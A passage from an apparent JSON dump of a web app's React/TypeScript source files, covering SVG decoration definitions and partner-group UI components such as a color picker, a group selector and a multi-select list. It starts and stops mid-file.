transform=\"translate(280.786 583.737)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-aj`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(280.786 606.269)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-ak`}>\n                <use\n                  xlinkHref={`#${id}-an`}\n                  transform=\"translate(280.786 628.801)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-al`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(608.804 539.281)\"\n                ></use>\n              </clipPath>\n              <clipPath id={`${id}-am`}>\n                <use\n                  xlinkHref={`#${id}-ao`}\n                  transform=\"translate(678.702 539.281)\"\n                ></use>\n              </clipPath>\n              <filter\n                id={`${id}-t`}\n                width=\"20.868\"\n                height=\"20.868\"\n                x=\"649.388\"\n                y=\"68.663\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"BackgroundImageFix\"\n                  result=\"shape\"\n                ></feBlend>\n                <feColorMatrix\n                  in=\"SourceAlpha\"\n                  result=\"hardAlpha\"\n                  values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                ></feColorMatrix>\n                <feOffset></feOffset>\n                <feGaussianBlur stdDeviation=\"3.073\"></feGaussianBlur>\n                <feComposite\n                  in2=\"hardAlpha\"\n                  k2=\"-1\"\n                  k3=\"1\"\n                  operator=\"arithmetic\"\n                ></feComposite>\n                <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\"></feColorMatrix>\n                <feBlend\n                  in2=\"shape\"\n                  result=\"effect1_innerShadow_1_1135\"\n                ></feBlend>\n              </filter>\n              <filter\n                id={`${id}-w`}\n                width=\"20.868\"\n                height=\"20.868\"\n                x=\"772.29\"\n                y=\"150.597\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"BackgroundImageFix\"\n                  result=\"shape\"\n                ></feBlend>\n                <feColorMatrix\n                  in=\"SourceAlpha\"\n                  result=\"hardAlpha\"\n                  values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                ></feColorMatrix>\n                <feOffset></feOffset>\n                <feGaussianBlur stdDeviation=\"3.073\"></feGaussianBlur>\n                <feComposite\n                  in2=\"hardAlpha\"\n                  k2=\"-1\"\n                  k3=\"1\"\n                  operator=\"arithmetic\"\n                ></feComposite>\n                <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\"></feColorMatrix>\n                <feBlend\n                  in2=\"shape\"\n                  result=\"effect1_innerShadow_1_1135\"\n                ></feBlend>\n              </filter>\n              <filter\n                id={`${id}-z`}\n                width=\"82.319\"\n                height=\"82.319\"\n                x=\"680.113\"\n                y=\"78.904\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"BackgroundImageFix\"\n                  result=\"shape\"\n                ></feBlend>\n                <feColorMatrix\n                  in=\"SourceAlpha\"\n                  result=\"hardAlpha\"\n                  values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                ></feColorMatrix>\n                <feOffset></feOffset>\n                <feGaussianBlur stdDeviation=\"3.073\"></feGaussianBlur>\n                <feComposite\n                  in2=\"hardAlpha\"\n                  k2=\"-1\"\n                  k3=\"1\"\n                  operator=\"arithmetic\"\n                ></feComposite>\n                <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\"></feColorMatrix>\n                <feBlend\n                  in2=\"shape\"\n                  result=\"effect1_innerShadow_1_1135\"\n                ></feBlend>\n              </filter>\n              <filter\n                id={`${id}-B`}\n                width=\"74.766\"\n                height=\"74.766\"\n                x=\"683.89\"\n                y=\"82.68\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"BackgroundImageFix\"\n                  result=\"shape\"\n                ></feBlend>\n                <feGaussianBlur\n                  result=\"effect1_foregroundBlur_1_1135\"\n                  stdDeviation=\"7.681\"\n                ></feGaussianBlur>\n              </filter>\n              <filter\n                id={`${id}-D`}\n                width=\"403.018\"\n                height=\"419.917\"\n                x=\"521.044\"\n                y=\"-89.892\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"BackgroundImageFix\"\n                  result=\"shape\"\n                ></feBlend>\n                <feGaussianBlur\n                  result=\"effect1_foregroundBlur_1_1135\"\n                  stdDeviation=\"25.605\"\n                ></feGaussianBlur>\n              </filter>\n              <filter\n                id={`${id}-E`}\n                width=\"423.502\"\n                height=\"363.18\"\n                x=\"510.803\"\n                y=\"-52.361\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"BackgroundImageFix\"\n                  result=\"shape\"\n                ></feBlend>\n                <feGaussianBlur\n                  result=\"effect1_foregroundBlur_1_1135\"\n                  stdDeviation=\"30.726\"\n                ></feGaussianBlur>\n              </filter>\n              <filter\n                id={`${id}-J`}\n                width=\"71.693\"\n                height=\"17.266\"\n                x=\"249.378\"\n                y=\"247.996\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feColorMatrix\n                  in=\"SourceAlpha\"\n                  result=\"hardAlpha\"\n                  values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                ></feColorMatrix>\n                <feOffset dy=\"1.536\"></feOffset>\n                <feGaussianBlur stdDeviation=\"0.768\"></feGaussianBlur>\n                <feComposite in2=\"hardAlpha\" operator=\"out\"></feComposite>\n                <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.04 0\"></feColorMatrix>\n                <feBlend\n                  in2=\"BackgroundImageFix\"\n                  result=\"effect1_dropShadow_1_1135\"\n                ></feBlend>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"effect1_dropShadow_1_1135\"\n                  result=\"shape\"\n                ></feBlend>\n              </filter>\n              <filter\n                id={`${id}-U`}\n                width=\"71.693\"\n                height=\"17.266\"\n                x=\"249.378\"\n                y=\"395.48\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feColorMatrix\n                  in=\"SourceAlpha\"\n                  result=\"hardAlpha\"\n                  values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                ></feColorMatrix>\n                <feOffset dy=\"1.536\"></feOffset>\n                <feGaussianBlur stdDeviation=\"0.768\"></feGaussianBlur>\n                <feComposite in2=\"hardAlpha\" operator=\"out\"></feComposite>\n                <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.04 0\"></feColorMatrix>\n                <feBlend\n                  in2=\"BackgroundImageFix\"\n                  result=\"effect1_dropShadow_1_1135\"\n                ></feBlend>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"effect1_dropShadow_1_1135\"\n                  result=\"shape\"\n                ></feBlend>\n              </filter>\n              <filter\n                id={`${id}-Y`}\n                width=\"71.693\"\n                height=\"17.266\"\n                x=\"458.312\"\n                y=\"395.48\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feColorMatrix\n                  in=\"SourceAlpha\"\n                  result=\"hardAlpha\"\n                  values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                ></feColorMatrix>\n                <feOffset dy=\"1.536\"></feOffset>\n                <feGaussianBlur stdDeviation=\"0.768\"></feGaussianBlur>\n                <feComposite in2=\"hardAlpha\" operator=\"out\"></feComposite>\n                <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.04 0\"></feColorMatrix>\n                <feBlend\n                  in2=\"BackgroundImageFix\"\n                  result=\"effect1_dropShadow_1_1135\"\n                ></feBlend>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"effect1_dropShadow_1_1135\"\n                  result=\"shape\"\n                ></feBlend>\n              </filter>\n              <filter\n                id={`${id}-ac`}\n                width=\"71.693\"\n                height=\"17.266\"\n                x=\"667.247\"\n                y=\"395.48\"\n                colorInterpolationFilters=\"sRGB\"\n                filterUnits=\"userSpaceOnUse\"\n              >\n                <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\n                <feColorMatrix\n                  in=\"SourceAlpha\"\n                  result=\"hardAlpha\"\n                  values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                ></feColorMatrix>\n                <feOffset dy=\"1.536\"></feOffset>\n                <feGaussianBlur stdDeviation=\"0.768\"></feGaussianBlur>\n                <feComposite in2=\"hardAlpha\" operator=\"out\"></feComposite>\n                <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.04 0\"></feColorMatrix>\n                <feBlend\n                  in2=\"BackgroundImageFix\"\n                  result=\"effect1_dropShadow_1_1135\"\n                ></feBlend>\n                <feBlend\n                  in=\"SourceGraphic\"\n                  in2=\"effect1_dropShadow_1_1135\"\n                  result=\"shape\"\n                ></feBlend>\n              </filter>\n              <linearGradient\n                id={`${id}-u`}\n                x1=\"659.821\"\n                x2=\"659.821\"\n                y1=\"89.338\"\n                y2=\"68.855\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop stopColor=\"#fff\" stopOpacity=\"0.23\"></stop>\n                <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0.3\"></stop>\n              </linearGradient>\n              <linearGradient\n                id={`${id}-x`}\n                x1=\"782.724\"\n                x2=\"782.724\"\n                y1=\"171.273\"\n                y2=\"150.789\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop stopColor=\"#fff\" stopOpacity=\"0.23\"></stop>\n                <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0.3\"></stop>\n              </linearGradient>\n              <linearGradient\n                id={`${id}-A`}\n                x1=\"721.273\"\n                x2=\"721.273\"\n                y1=\"161.031\"\n                y2=\"79.096\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop stopColor=\"#fff\" stopOpacity=\"1\"></stop>\n                <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"1\"></stop>\n              </linearGradient>\n              <linearGradient\n                id={`${id}-C`}\n                x1=\"465.996\"\n                x2=\"687.415\"\n                y1=\"119.59\"\n                y2=\"-17.134\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop stopColor=\"#FAFAFA\"></stop>\n                <stop offset=\"1\" stopColor=\"#FAFAFA\" stopOpacity=\"0\"></stop>\n              </linearGradient>\n              <linearGradient\n                id={`${id}-G`}\n                x1=\"192.377\"\n                x2=\"192.377\"\n                y1=\"0\"\n                y2=\"26.629\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop offset=\"0.2\" stopColor=\"#fff\"></stop>\n                <stop offset=\"0.955\" stopColor=\"#fff\" stopOpacity=\"0\"></stop>\n              </linearGradient>\n              <linearGradient\n                id={`${id}-S`}\n                x1=\"88.166\"\n                x2=\"88.166\"\n                y1=\"0\"\n                y2=\"26.629\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop offset=\"0.2\" stopColor=\"#fff\"></stop>\n                <stop offset=\"0.955\" stopColor=\"#fff\" stopOpacity=\"0\"></stop>\n              </linearGradient>\n              <linearGradient\n                id={`${id}-W`}\n                x1=\"88.166\"\n                x2=\"88.166\"\n                y1=\"0\"\n                y2=\"26.629\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop offset=\"0.2\" stopColor=\"#fff\"></stop>\n                <stop offset=\"0.955\" stopColor=\"#fff\" stopOpacity=\"0\"></stop>\n              </linearGradient>\n              <linearGradient\n                id={`${id}-aa`}\n                x1=\"88.166\"\n                x2=\"88.166\"\n                y1=\"0\"\n                y2=\"26.629\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop offset=\"0.2\" stopColor=\"#fff\"></stop>\n                <stop offset=\"0.955\" stopColor=\"#fff\" stopOpacity=\"0\"></stop>\n              </linearGradient>\n              <radialGradient\n                id={`${id}-r`}\n                cx=\"0\"\n                cy=\"0\"\n                r=\"1\"\n                gradientTransform=\"rotate(90 300.349 420.668)scale(81.6791)\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop offset=\"0.73\" stopColor=\"#fff\"></stop>\n                <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0\"></stop>\n              </radialGradient>\n              <linearGradient\n                id={`${id}-aq`}\n                x1=\"188\"\n                x2=\"700\"\n                y1=\"410\"\n                y2=\"25.44\"\n                gradientUnits=\"userSpaceOnUse\"\n              >\n                <stop stopColor=\"#FAFAFA\" />\n                <stop offset=\"0.489\" stopColor=\"#FAFAFA\" />\n                <stop offset=\"1\" stopColor=\"#FAFAFA\" stopOpacity=\"0\" />\n              </linearGradient>\n              {/* Rainbow chart line gradient */}\n              <linearGradient\n                id={`${id}-color-gradient`}\n                x1=\"0\"\n                x2=\"1\"\n                gradientUnits=\"objectBoundingBox\"\n              >\n                <stop offset=\"0%\" stopColor=\"#7D3AEC\" stopOpacity=\"1\"></stop>\n                <stop offset=\"100%\" stopColor=\"#DA2778\" stopOpacity=\"1\"></stop>\n              </linearGradient>\n            </defs>\n          </svg>\n        </div>\n      </PreviewWindow>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/studs-pattern.tsx",
    "content": "import { useId } from \"react\";\n\nexport function StudsPattern() {\n  const id = useId();\n\n  const cellSize = 42;\n  const circleRadius = 8;\n\n  // An SVG pattern of circles\n  return (\n    <svg\n      className=\"pointer-events-none absolute inset-0 text-neutral-100\"\n      width=\"100%\"\n      height=\"100%\"\n    >\n      <defs>\n        <linearGradient\n          id={`gradient-${id}`}\n          x1=\"0\"\n          y1=\"1\"\n          x2=\"1\"\n          y2=\"0\"\n          gradientUnits=\"objectBoundingBox\"\n        >\n          <stop stopColor=\"currentColor\" offset=\"0.5\" />\n          <stop stopColor=\"white\" offset=\"1\" />\n        </linearGradient>\n        <pattern\n          id={`pattern-${id}`}\n          x={6}\n          y={6}\n          width={cellSize}\n          height={cellSize}\n          patternUnits=\"userSpaceOnUse\"\n        >\n          <circle\n            cx={cellSize / 2}\n            cy={cellSize / 2}\n            r={circleRadius}\n            fill={`url(#gradient-${id})`}\n          />\n        </pattern>\n      </defs>\n      <rect\n        fill={`url(#pattern-${id})`}\n        width=\"100%\"\n        height=\"100%\"\n        className=\"[filter:drop-shadow(0_1px_2px_#0002)_drop-shadow(0_4px_8px_#0002)]\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/group-color-circle.tsx",
    "content": "import { GroupProps } from \"@/lib/types\";\nimport { getResourceColorData, RAINBOW_CONIC_GRADIENT } from \"@/ui/colors\";\nimport { cn } from \"@dub/utils\";\n\nexport function GroupColorCircle({\n  group,\n}: {\n  group: Pick<GroupProps, \"color\">;\n}) {\n  const colorClassName = group.color\n    ? getResourceColorData(group.color)?.groupVariants\n    : undefined;\n\n  return (\n    <div\n      className={cn(\"size-3 shrink-0 rounded-full\", colorClassName)}\n      {...(!colorClassName && {\n        style: {\n          background: RAINBOW_CONIC_GRADIENT,\n        },\n      })}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/group-color-picker.tsx",
    "content": "\"use client\";\n\nimport {\n  getResourceColorData,\n  RAINBOW_CONIC_GRADIENT,\n  RESOURCE_COLORS_DATA,\n} from \"@/ui/colors\";\nimport { Popover, Tooltip } from \"@dub/ui\";\nimport { capitalize, cn } from \"@dub/utils\";\nimport { useState } from \"react\";\n\nexport function GroupColorPicker({\n  color,\n  onChange,\n  id,\n}: {\n  color?: string | null;\n  onChange: (color: string | null) => void;\n  id?: string;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const onSelect = (color: string | null) => {\n    onChange(color);\n    setIsOpen(false);\n  };\n\n  const colorClassName = color\n    ? getResourceColorData(color)?.groupVariants\n    : undefined;\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      content={\n        <div className=\"flex items-center gap-3 p-2 sm:gap-2\">\n          <div className=\"sr-only\" tabIndex={0}>\n            Select a color\n          </div>\n          <Swatch\n            name=\"Rainbow\"\n            colorClassName={null}\n            onSelect={() => onSelect(null)}\n          />\n          {RESOURCE_COLORS_DATA.map(({ color, groupVariants }) => (\n            <Swatch\n              key={color}\n              colorClassName={groupVariants}\n              name={capitalize(color)!}\n              onSelect={() => onSelect(color)}\n            />\n          ))}\n        </div>\n      }\n      side=\"bottom\"\n      align=\"end\"\n    >\n      <button\n        id={id}\n        type=\"button\"\n        className={cn(\n          \"relative size-5 overflow-hidden rounded-full outline-none ring-black/10 transition-all duration-75\",\n          \"hover:ring focus:ring data-[state=open]:ring data-[state=open]:ring-black/20\",\n          \"focus-visible:ring-1 focus-visible:ring-black/40 focus-visible:ring-offset-2\",\n          colorClassName,\n        )}\n      >\n        {!colorClassName && <Rainbow />}\n      </button>\n    </Popover>\n  );\n}\n\nfunction Swatch({\n  colorClassName,\n  name,\n  onSelect,\n}: {\n  colorClassName: string | null;\n  name: string;\n  onSelect: () => void;\n}) {\n  return (\n    <Tooltip content={name} delayDuration={1000} disableHoverableContent>\n      <div className=\"w-fit rounded-full\">\n        <button\n          type=\"button\"\n          onClick={onSelect}\n          className={cn(\n            \"relative block size-7 overflow-hidden rounded-full ring-transparent ring-offset-2 transition-all duration-75 sm:size-5\",\n            \"hover:ring-1 hover:ring-[var(--ring-color)]\",\n            \"outline-none focus-visible:ring-1 focus-visible:ring-[var(--ring-color)]\",\n            colorClassName,\n          )}\n        >\n          {!colorClassName && <Rainbow />}\n        </button>\n      </div>\n    </Tooltip>\n  );\n}\n\nconst Rainbow = () => (\n  <div\n    className=\"absolute -inset-[50%] rounded-full blur-[2px]\"\n    style={{\n      backgroundImage: RAINBOW_CONIC_GRADIENT,\n    }}\n  />\n);\n"
  },
  {
    "path": "apps/web/ui/partners/groups/group-selector.tsx",
    "content": "import useGroups from \"@/lib/swr/use-groups\";\nimport { GroupProps } from \"@/lib/types\";\nimport { GROUPS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/groups\";\nimport { Combobox, ComboboxProps } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport { GroupColorCircle } from \"./group-color-circle\";\n\nexport type Group = Pick<GroupProps, \"id\" | \"name\" | \"color\">;\n\ntype GroupSelectorProps = {\n  selectedGroupId: string | null;\n  setSelectedGroupId: (groupId: string) => void;\n  disabled?: boolean;\n  variant?: \"default\" | \"header\";\n} & Partial<ComboboxProps<false, any>>;\n\nexport function GroupSelector({\n  selectedGroupId,\n  setSelectedGroupId,\n  disabled,\n  variant = \"default\",\n  ...rest\n}: GroupSelectorProps) {\n  const [search, setSearch] = useState(\"\");\n  const [useAsync, setUseAsync] = useState(false);\n  const [debouncedSearch] = useDebounce(search, 500);\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { groups, loading } = useGroups({\n    query: useAsync ? { search: debouncedSearch } : undefined,\n  });\n\n  const { groups: selectedGroups, loading: selectedGroupsLoading } = useGroups({\n    query: selectedGroupId ? { groupIds: [selectedGroupId] } : undefined,\n  });\n\n  useEffect(() => {\n    if (groups && !useAsync && groups.length >= GROUPS_MAX_PAGE_SIZE) {\n      setUseAsync(true);\n    }\n  }, [groups, useAsync]);\n\n  const groupOptions = useMemo(() => {\n    return groups?.map((group) => ({\n      value: group.id,\n      label: group.name,\n      icon: <GroupColorCircle group={group} />,\n    }));\n  }, [groups]);\n\n  const selectedOption = useMemo(() => {\n    if (!selectedGroupId) return null;\n\n    const group = [...(groups || []), ...(selectedGroups || [])].find(\n      (p) => p.id === selectedGroupId,\n    );\n\n    if (!group) return null;\n\n    return {\n      value: group.id,\n      label: group.name,\n      icon: <GroupColorCircle group={group} />,\n    };\n  }, [groups, selectedGroups, selectedGroupId]);\n\n  return (\n    <Combobox\n      options={loading ? undefined : groupOptions}\n      setSelected={(option) => {\n        if (!option) return;\n        setSelectedGroupId(option.value);\n      }}\n      selected={selectedOption}\n      icon={\n        variant === \"header\" && !selectedOption?.icon ? (\n          <div className=\"size-5 flex-none animate-pulse rounded-full bg-neutral-200\" />\n        ) : (\n          selectedOption?.icon\n        )\n      }\n      caret={true}\n      placeholder={variant === \"header\" ? \"\" : \"Select group\"}\n      searchPlaceholder=\"Search groups...\"\n      onSearchChange={setSearch}\n      shouldFilter={!useAsync}\n      matchTriggerWidth\n      open={openPopover}\n      onOpenChange={setOpenPopover}\n      {...(variant === \"header\"\n        ? {\n            popoverProps: {\n              contentClassName: \"min-w-[280px]\",\n            },\n            labelProps: {\n              className: \"text-lg font-semibold leading-7 text-neutral-900\",\n            },\n            iconProps: {\n              className: \"size-6\",\n            },\n            buttonProps: {\n              disabled,\n              className:\n                \"w-full justify-start px-2 py-1 h-8 transition-none max-md:bg-bg-subtle hover:bg-bg-subtle md:hover:bg-subtle border-none rounded-lg\",\n            },\n          }\n        : {\n            buttonProps: {\n              disabled,\n              className: cn(\n                \"w-full justify-start border-neutral-300 px-3\",\n                \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n                \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n              ),\n            },\n          })}\n      {...rest}\n    >\n      {variant === \"header\" && !selectedOption?.label ? (\n        <div className=\"h-6 w-[120px] animate-pulse rounded bg-neutral-100\" />\n      ) : (\n        selectedOption?.label\n      )}\n    </Combobox>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/group-settings-row.tsx",
    "content": "import { MarkdownDescription } from \"@/ui/shared/markdown-description\";\nimport { PropsWithChildren } from \"react\";\n\nexport function GroupSettingsRow({\n  heading,\n  description,\n  children,\n}: PropsWithChildren<{\n  heading: string;\n  description: string;\n}>) {\n  return (\n    <div className=\"grid grid-cols-1 gap-10 px-6 py-8 sm:grid-cols-2\">\n      <div className=\"flex flex-col gap-1.5\">\n        <h3 className=\"text-content-emphasis text-base font-semibold leading-none\">\n          {heading}\n        </h3>\n        <MarkdownDescription className=\"text-content-subtle text-sm\">\n          {description}\n        </MarkdownDescription>\n      </div>\n\n      <div>{children}</div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/groups-multi-select.tsx",
    "content": "import useGroups from \"@/lib/swr/use-groups\";\nimport useGroupsCount from \"@/lib/swr/use-groups-count\";\nimport { GroupProps } from \"@/lib/types\";\nimport { GROUPS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/groups\";\nimport {\n  AnimatedSizeContainer,\n  Check2,\n  LoadingSpinner,\n  Magnifier,\n  ScrollContainer,\n  ToggleGroup,\n  Users6,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { useCallback, useEffect, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport { GroupColorCircle } from \"./group-color-circle\";\n\ninterface GroupSelectorProps {\n  selectedGroupIds: string[] | null;\n  setSelectedGroupIds: (groupIds: string[] | null) => void;\n  className?: string;\n}\n\nexport function GroupsMultiSelect({\n  selectedGroupIds,\n  setSelectedGroupIds,\n  className,\n}: GroupSelectorProps) {\n  const [selectedMode, setSelectedMode] = useState<\"all\" | \"select\">(\n    selectedGroupIds?.length ? \"select\" : \"all\",\n  );\n\n  const [search, setSearch] = useState(\"\");\n  const [useAsync, setUseAsync] = useState(false);\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const [shouldSortGroups, setShouldSortGroups] = useState(false);\n  const [sortedGroups, setSortedGroups] = useState<GroupProps[] | undefined>(\n    undefined,\n  );\n\n  const { groupsCount } = useGroupsCount();\n\n  const { groups } = useGroups({\n    query: { ...(useAsync ? { search: debouncedSearch } : undefined) },\n  });\n\n  const { groups: selectedGroups } = useGroups({\n    query: { groupIds: selectedGroupIds ?? undefined },\n    enabled: Boolean(selectedGroupIds?.length),\n  });\n\n  // Determine if we should use async loading\n  useEffect(\n    () =>\n      setUseAsync(\n        Boolean(groups && !useAsync && groups.length >= GROUPS_MAX_PAGE_SIZE),\n      ),\n    [groups, useAsync],\n  );\n\n  const sortGroups = useCallback(\n    (groups: GroupProps[], search: string) => {\n      return search === \"\"\n        ? [\n            ...groups.filter((g) => selectedGroupIds?.includes(g.id)),\n            ...groups.filter((g) => !selectedGroupIds?.includes(g.id)),\n          ]\n        : groups;\n    },\n    [selectedGroupIds],\n  );\n\n  // Actually sort the groups when needed\n  useEffect(() => {\n    if (\n      !shouldSortGroups ||\n      !groups ||\n      (selectedGroupIds?.length && !selectedGroups)\n    )\n      return;\n\n    setSortedGroups(\n      sortGroups(\n        [\n          ...(selectedGroups ?? []),\n          ...groups.filter(\n            (g) => !selectedGroups?.some((sg) => sg.id === g.id),\n          ),\n        ],\n        search,\n      ),\n    );\n    setShouldSortGroups(false);\n  }, [\n    shouldSortGroups,\n    groups,\n    selectedGroupIds,\n    selectedGroups,\n    sortGroups,\n    search,\n  ]);\n\n  // Sort when the search-filtered groups change\n  useEffect(() => setShouldSortGroups(true), [groups]);\n\n  return (\n    <div className={className}>\n      <ToggleGroup\n        layout={false}\n        className=\"flex w-full items-center gap-1 rounded-lg border-none bg-neutral-100 p-1\"\n        optionClassName=\"h-8 flex items-center justify-center flex-1 text-sm normal-case\"\n        indicatorClassName=\"bg-white\"\n        options={[\n          { value: \"all\", label: \"All groups\" },\n          { value: \"select\", label: \"Select groups\" },\n        ]}\n        selected={selectedMode}\n        selectAction={(value) => {\n          setSelectedMode(value as \"all\" | \"select\");\n          if (value === \"all\") setSelectedGroupIds(null);\n        }}\n      />\n\n      <div className=\"mt-2\">\n        <AnimatedSizeContainer\n          height\n          transition={{ ease: \"easeInOut\", duration: 0.1 }}\n          className=\"-m-0.5\"\n        >\n          <div className=\"p-0.5\">\n            {selectedMode === \"all\" ? (\n              <div className=\"flex flex-col items-center justify-center px-4 py-6\">\n                <div className=\"text-content-default flex items-center gap-1.5 font-semibold\">\n                  <Users6 className=\"size-4 shrink-0\" />\n                  {groupsCount === undefined ? (\n                    <div className=\"h-5 w-6 animate-pulse rounded-md bg-neutral-200\" />\n                  ) : (\n                    groupsCount\n                  )}\n                </div>\n                <span className=\"text-content-subtle text-sm font-medium\">\n                  Groups selected\n                </span>\n              </div>\n            ) : (\n              <Command loop shouldFilter={!useAsync}>\n                <label className=\"relative flex grow items-center overflow-hidden rounded-lg border border-neutral-300 focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\">\n                  <Magnifier className=\"text-content-default ml-3 size-3.5 shrink-0\" />\n                  <Command.Input\n                    placeholder=\"Search groups...\"\n                    value={search}\n                    onValueChange={setSearch}\n                    className=\"grow border-none px-2 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n                  />\n                </label>\n                <ScrollContainer className=\"h-[190px]\">\n                  <Command.List\n                    className={cn(\"flex w-full flex-col gap-1 py-1\")}\n                  >\n                    {sortedGroups !== undefined ? (\n                      <>\n                        {sortedGroups.map((group) => {\n                          const checked = Boolean(\n                            selectedGroupIds?.includes(group.id),\n                          );\n\n                          return (\n                            <Command.Item\n                              key={group.id}\n                              value={`${group.name}::${group.slug}`}\n                              onSelect={() =>\n                                setSelectedGroupIds(\n                                  selectedGroupIds?.includes(group.id)\n                                    ? selectedGroupIds.length === 1\n                                      ? null // Revert to null if there will be no groups selected\n                                      : selectedGroupIds.filter(\n                                          (id) => id !== group.id,\n                                        )\n                                    : [...(selectedGroupIds ?? []), group.id],\n                                )\n                              }\n                              className={cn(\n                                \"flex cursor-pointer select-none items-center gap-3 whitespace-nowrap rounded-md px-3 py-2.5 text-left text-sm text-neutral-700\",\n                                \"data-[selected=true]:bg-neutral-100\",\n                              )}\n                            >\n                              <div\n                                className={cn(\n                                  \"border-border-emphasis flex size-4 shrink-0 items-center justify-center rounded border bg-white transition-colors duration-75\",\n                                  checked &&\n                                    \"border-neutral-900 bg-neutral-900\",\n                                )}\n                              >\n                                {checked && (\n                                  <span className=\"sr-only\">Checked</span>\n                                )}\n                                <Check2\n                                  className={cn(\n                                    \"size-2.5 